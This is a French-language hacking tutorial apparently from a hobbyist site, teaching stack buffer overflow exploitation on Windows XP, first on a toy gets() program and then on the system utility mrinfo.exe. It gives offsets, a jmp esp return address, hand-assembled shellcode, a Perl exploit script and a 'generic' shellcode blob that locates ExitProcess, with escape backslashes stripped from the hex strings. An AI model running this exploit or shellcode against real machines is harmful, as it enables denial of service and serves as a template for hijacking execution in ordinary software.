Accueil   |   Download   |   News   |   Forum   |   Archive   |   Livre d'or
      ALPHANET : Hardware et Hacking enfin réunis!!!  
Buffers Overflows


L'exploitation des Buffers Overflows sous Windows Xp [Electrobug]

+---------------------------------------------------------------------------------------------+

Le materiel :

- Win32Dasm
- OllyDbg
- Un programme faillible fournis et mrinfos faillible
- Win32api.hlp
- des connaissances en assembleur

Introduction :

Je souhaite grâce à ce tutorial, tenter d'expliquer comment
exploiter localement un BufferOverflow. En aucun cas mon objectif
est de former de nouveaux script kiddies. Ceci étant dit
je vous laisse le droit d'exploiter au maximum votre buffer overflow
si celui ci est sur votre ordinateur.

I) Explication : Le Buffer Overflow

Le Buffer Overflow est un problème dans la gestion de la mémoire
d'un programme qui permet d'écrire un plus grand nombre de données
qu'il y est possible normalement. Petit exemple:
vous avez une armoire avec trois tiroirs mais vos bagages
on besoin de 5 tirois pour être rangés, pour nous les humains,
cela nous pose un probleme mais pas l'ordi ! car celui écrit
sur des zones de la mémoire (tiroir) qui ne lui appartient pas.
Ceci est le phénomene de Buffer Overflow (soit en francais
"dépassement de tampon").

Celà se produit plus souvent qu'on ne le croit dans les
programmes. Les programmeurs ne verifient pas toujours le code
de leur programme. Ce qui est une aubaine pour nous ici.
Nous allons étudier le petit exemple ci-dessous et l'exploit
qui peut lui être associé.

#include
int main ( )
{
char name[10];
printf("Votre pseudo : ");
gets(name);
printf("kikoo %s", name);
return 0;
}

ce programme initialise une chaîne de 10 caractères appelée
"name", demande le pseudo de la personne qui utilise le
programme et affiche "kikoo "lepseudo"" et le programme quitte.
Ici le Buffer Overflow peut se situer dans la variable name
qui contient 10 octets car la fonction gets(name) ne vérifie
pas le nombre d'octets entré. Pour détecter le Buffer Overflow,
on a deux methodes:

- La méthode bourrin
- La demarche intellectuelle

- La méthode bourrin : on entre commme pseudo abcdefghijklmnopqrstuvwxyz
et on observe ce qu'il se passe :

1.exe Erreur d'application
L'instruction à "0x78777675" emploie l'adresse mémoire "0x78777675".
La mémoire ne peut pas être read.

Que s'est il passé ? D'après le message d'erreur précédent,
l'instruction 0x78777675 tente de lire la mémoire en 0x78777675.
Or on sait que 0x78777675 correspond au caractères ascii "xwvu"
de plus le programme saute en 0x78777675 car il essaie de lire
la mémoire donc on a ecrasé ici le registre du processeur EIP
(Extended Instruction Pointer).

Mais à quoi sert EIP ?

Eip est la variable qui permet au processeur de lire le
programme dans le bon ordre. Eip pointe vers la prochaine
instruction à exécuter. (n'allez pas chercher plus loin).
Donc si on contrôle EIP on peut rediriger le programme ou on veut !!!

Retour à nos moutons

L'adresse est donc 0x78777675 soit "xwvu" (uvwx à lenvers)
on peut donc déduire la taille du buffer car on a écrit sur
eip xwvu la taille du buffer correspond a "a->t" soit 20 octets.
On peut donc établir le schéma suivant:

pseudo = [ 20 octets ][ EIP= 4octets]

- La démarche intellectuelle

On va désassembler le programme et le debugger,
pour celà lancez le OllyDbg, ouvrez le fichier test
et appuyez sur F9 ou le bouton run, voilà ce que l'on obtient :

hexa code asm

55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
89E5 MOV EBP,ESP // EBP = ESP
83EC14 SUB ESP,14 // Definit une nouvelle pile de 0x14 octet
etc ...

Ici, ces seules lignes suffisent, elles implémentent une nouvelle pile
de 0x14 octet en hexadecimal soit 1x16+4= 20 octets
(on retrouve donc la valeur trouvée plus haut).

Le contexte de la pile

La pile est comme un assemblage de plateaux repas (chaque plateau repas représente une valeur).
Le premier plateau repas mis est le premier retiré, cela fontionne pareil avec la pile.
La pile est un endroit de la mémoire qui permet au processeur d'enregistrer des valeurs en LIFO
( Las In First Out) c'est à dire la derniere valeur enregistée est la premiere à être restituée.
Les opérations en assembleur "push" sauvegardent une valeur et les opérations
"pop" récuperent une valeur. Petit exercice: quelle est l'image de la pile suivante?

push 1
push 2
push 3


//pile(haut)
3 <- Esp(=2) ( Extended Stack Pointer) propriété -> pointe vers le haut de la pile
2
1 <- Ebp(=0) ( Extended Base Pointer) propriété -> pointe vers le bas de la pile
//pile(bas)

Heu, mais c'est faux car "SUB ESP,14" crée une pile de 0x14 octets alors la Esp sera inférieur a Ebp !!!!
Oui, mais les processeurs intel ont une pile inversée.
Donc c'est en soustrayant une valeur à esp que l'on augmente
la pile car ebp >= esp .

Ce qu'il faut retenir :

Eip -> pointe vers la prochaine instruction
Esp -> pointe vers le haut de la pile
Ebp -> pointe vers le bas de la pile
push -> sauvergarde une valeur sur le haut de la pile
pop -> repere la valeur sur le haut de la pile
sub esp, 0x? -> agrandit la pile de 0x? octets
add esp, 0x? -> réduit la pile de 0x? octets

Nous avons donc finis notre exploration du Buffer Overflow, nous
savons que nous controlons Eip , celà nous permet de contrôler
le programme. Nous ne rentrerons pas dans les entrailles de la
pile mais en gros voici un schéma de la pile :

(haut de la pile)
argument
argument
EIP
(bas de la pile)

II) Semi - exploitation de notre Buffer Overflow

Dans Ollydbg, relançons notre programme (f9) puis entrons le pseudo

"AAAAAAAAAAAAAAAAAAAAAAAA abcdefghijklmopqrstuvwxyz" soit 24xA
et l'alphabet . Nous remarquons alors que ollydbg détecte une erreur
et marque dans la barre en bas de la fenêtre "Access Violation etc ..."
mais examinons les registres maintenant, ils sont en haut à droite
de la fentere principale (Alt-C). On remarque que EIP= 0x41414141
soit AAAA et ESP = 0x0022FF88 et une description de sa valeur "abcde..."
soit l'alphabet rentré précédemment.

Bon réfléchissons un peu, on contrôle Eip et Esp pointe vers
notre chaîne de caractère, on va donc mettre une "shellcode"
ou "asmcode" à la place de l'alphabet et faire pointer Eip sur
Esp pour exécuter le shellcode, mais comment ?? car comme on est
dans une chaîne de caractere ( "AAA..-EIP-shellcode") la valeur
de eip ne peut pas avoir de caractere nul. Nous allons donc utiliser
les valeur des instructions assembleur des dlls chargées par
le programme car leur adresses sont en 0x77...... .

Dans Ollydbg, allez dans ShowLog en faisant Alt-L pour voir les
dll chargées, puis a l'aide de Win32Dasm vous dessamblées ces dlls
et recherché l'expression "jmp esp".

dlls
+kernel32.dll
+ntdll.dll <-- 0x77fb59cc FFE4 mais ya un probleme lors du shellcoding
+msvcrt.dll

Malheuresement pour nous aucune ocurrence a été trouvé :/
il nous reste une solution redirigé les programme vers
la fonction ExitProcess. Pour cela étudions ca declaration dans win32.hlp


VOID ExitProcess(
UINT uExitCode //parametre a transmetre (par experience celui n'est pas obligatoire).
);


Il suffit donc de "jumper" grace a Eip sur la fonction ExitProcess
contenu dans la dll kernel32.dll pour faire fermer le programme.
Pour trouver cette adresse, nous devons desassemblé kernel32.dll
avec win32dasm, allez dans Functions/export (oui on exporte une fonction)
et rechercher dans la liste Exitprocess, double clické dessus. Vous devez obtenir :

Exported fn () ExitProcess
:77E598Fd 55 Push ebp

Ici ce qui nous interesse est la valeur 0x77E598fd (cette valeur
change avec les versions de windows ainsi qu'avec les services pack de xp).
Chacun a donc maintent sa valeur de son eip . Pour moi c'est 0x77E598fd.
Maintenant nous devons creer notre "code" soit 20 caracteres au hasard et
xfdx98xe5x77 ce qui correspond aux caracteres (sortez la calculette
scientifique de windows pour convertir l'hexadecimal en decimal )
fd = 253; 98 = 152 ; e5 = 229 ; 77 = 119. Etant donné que le programme
n'accepte pas d'argument on est obligé de rentré la requete a la main en
convertissant la valeur de Eip en caracteres ascii (pour cela faites ALT-253
ALT-152 etc... pour la valeur de eip [avec les valeurs de eip ])

Finalement on obtient :

AAAAAAAAAAAAAAAAAAAA²ÿÕw
[ pile 20 octets ][EIP en caractere ascii ]

Voila le programme quitte. Ceci est une introduction maintenant on va
s'attaquer mrinfo.exe de windows xp !!


III) Action

Maintenant passons aux choses serieuses, nous allons nous attaquer au progr
amme mrinfo.exe de windows xp. Le buffer overflow se situe ici dans les
arguments passés en parametre, les arguments -n et -i peuvent provoquer
des buffer overflows.

(1) -> Emploie de la methode dite "Bourrin" et on obtient le schéma suivant :

-i [56A][EIP][shellcode]

(2) -> Analyses des registres

Pour cela, aller dans Ollydbg, file/open et choisit mrinfo.exe qui se situe
dans windowssystem32 et passé comme parametres (en dessous)

-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 222233334444

En analysant la valeur des registres on remarque :

Eip = 32323232 =(2222)
Ebp = 41414141 =(AAAA)
Esp = 0006fd98 -> ASCII "4444" esp pointe vers 4444 de la chaine entrée ci-dessus

Maintenant faite alt-l pour voir les dlls chargées par le programme et recherché
en les desassemblants un jump esp soit FFE4 en hexadecimal. Moi sous windows xp
sp 1 j'en est un dans advapi32.dll à l'adresse 0x77da1595. Maintenant modifions
la chaine plus haut en :

-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x95x15xdax77x90x90x90x904444
-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
•Úw0000aaaaaaaa
[eip][ebp]shellcode

on inverse le nombre car on est en "little endian"
(les octets de poids faible en premier).
les x90 correspondent aux instructions NOP qui signifient NO-Operation.
Maintenant on redirige Eip vers Esp qui executera le shellcode que l'on placera a cette endroit.

Maintenant l'ecriture du shellcode !!

1) Savoir ce que l'on veut faire
2) Ne pas avoir des octets nuls
3) Redifinir une pile

1) Fermer le programme sans probleme

redefinition de la pile

===
55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
8bec MOV EBP,ESP // EBP = ESP
8BE5 MOV EsP,EbP // EsP = EbP
83EC14 SUB ESP,50 // Definit une nouvelle pile de 0x50 octet
===

Maintenant nous devons re-analyser la fontion ExitProcess pour pouvoir afficher un message

VOID ExitProcess(
UINT uExitCode //parametre a transmetre (par experience celui n'est pas obligatoire).
);

on peut transmettre la valeur 0 a la fonction en faisant.

xor eax,eax // met eax a 0
push eax // sauvegarde eax

et appellé ExitProcess

call ExitProcess

Soit en resumé :

55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
8bEc MOV EBP,ESP // EBP = ESP
8BE5 MOV EsP,EbP // EBP = ESP
83EC50 SUB ESP,50 // Definit une nouvelle pile de 0x50 octet
33c0 xor eax,eax // met eax a 0
50 push eax // sauvegarde eax
e8559bde77 call ExitProcess // termine le programme

A pas tout suivi comment tu as eu les valeurs hexadecimal ?!??

Ceci ne sort pas d'un calcul savant car c'est le debugger Ollydbg
qui vous les donne. Pour cela, lancer le programma avec comme
argument -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
•Úw0000aaaaaaaa execute le programme et il plante, maintenant,
dans votre fenetre vous devez reperer les "a" de votre chaine
correspondant a 0x61 et c'est sur le 1er 0x61 que vous commencez
a ecrire votre shellcode en faisant clic droit assemble et entrez
le shellcode ci-dessus. Normalement seul la valeur de exitprocess doit changer.

IV) Ecriture de l'exploit en perl

print "Syntax of Buffer Overflow ";
#affichage de Syntax of Buffer Overflow
print "C:mrinfo -i [ 56A ][EIP] ";
#affichage de C:mrinfo -i [ 56A ][EIP]
$bof = `mrinfo.exe -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x95x15xdax77x90x90x90x90x55x8bxEcx83xECx50x33xc0x50xe8x57x9bxdex77`;
#permet de recuperé la sortit dans programme et de transmettre
des arguments ici le shellcode
print $bof ;
#affichage du resultat a l'ecran
print "Redirection reussi Programme Terminé ";
#affichage de Redirection reussi Programme Terminé
;
#attente de l'appuie d'une touche pour quitter

Je rappelle qu'il ne sert a rien de recopier l'exploit et de dire ca ne marche pas,
oui je le sais car les valeurs du call ExitProcess change suivant les services pack de xp.

Heu mais c'est pourri ton truc t'es une arnaque !!!!

Non, imagine quelqu'un qui force un programme a se terminer ( serveur ou autre)
a distance cela crée un DoS de plus je suis pas la pour vous donner des remoteshells.

voila ceci etant dit.
je vous remercie de votre lecture, surement dans un prochain article on fera
des choses plus interessantes.


ps: Voici un shellcode generique sous 2000 et xp qui appelle la fonction
exitprocess ;p attention il ne fonctionne pas avec le script perl ci dessus :/
mais ca fontionne très bien avec les sockets . Le shellcode ci dessous recherche
tout ce dont il a besoin c'est pour cela qu'il est generique sur tout les xp et 2000.

x55x8bxecx8bxe5x83xecx20x6ax30x5ax64x8bx12x8bx42
x0cx8bx70x1cx8bx06x8bx50x08x89x55xfcx8bx52x3cx03
x55xfcx8bx52x78x03x55xfcx89x55xf8x33xc0x89x45xf4
x89x45xf0x89x45xecx89x45xe8x8bx55xf8x83xc2x20x8b
x12x03x55xfcx89x55xe8xebx5exc9xc3x33xc9x39x4dxf4
x75x6bx8bx5dxe8x8bx1bx03x5dxfcx81x3bx45x78x69x74
x75x5bx81x7bx04x50x72x6fx63x75x52x8bx4dxecx89x4d
xf4x33xc9x85x4dxf0x75x46xc3x33xc9x39x4dxf0x75x3d
x8Bx5DxE8x8Bx1Bx03x5DxFCx81x3Bx4Cx6Fx61x64x75x2D
x81x7Bx04x4Cx69x62x72x75x24x8Bx4DxECx89x4DxF0x33
xC9x39x4DxF4x75x18xC3xE8x9FxFFxFFxFFxE8xC8xFFxFF
xFFx66x83x45xE8x04x66x83x45xECx01xEBxEAxC3x8Bx5D
xF4x6BxDBx04x89x5DxF4x8Bx5DxF0x6BxDBx04x89x5DxF0
x8Bx5DxF8x83xC3x1Cx8Bx1Bx03x5DxFCx8BxCBx03x4DxF4
x8Bx09x03x4DxFCx89x4DxF4x8BxCBx03x4DxF0x8Bx09x03
x4DxFCx89x4DxF0xEBx26x33xC0x50xFFx55xF0x3BxC3x0F
x84x44xFFxFFxFFx83xC7x0Bx57x50xFFx55xF4x3BxC3x0F
x84x34xFFxFFxFFx83xC7x07x57xFFxD0xC9xC3xE8xD5xFF
xFFxFF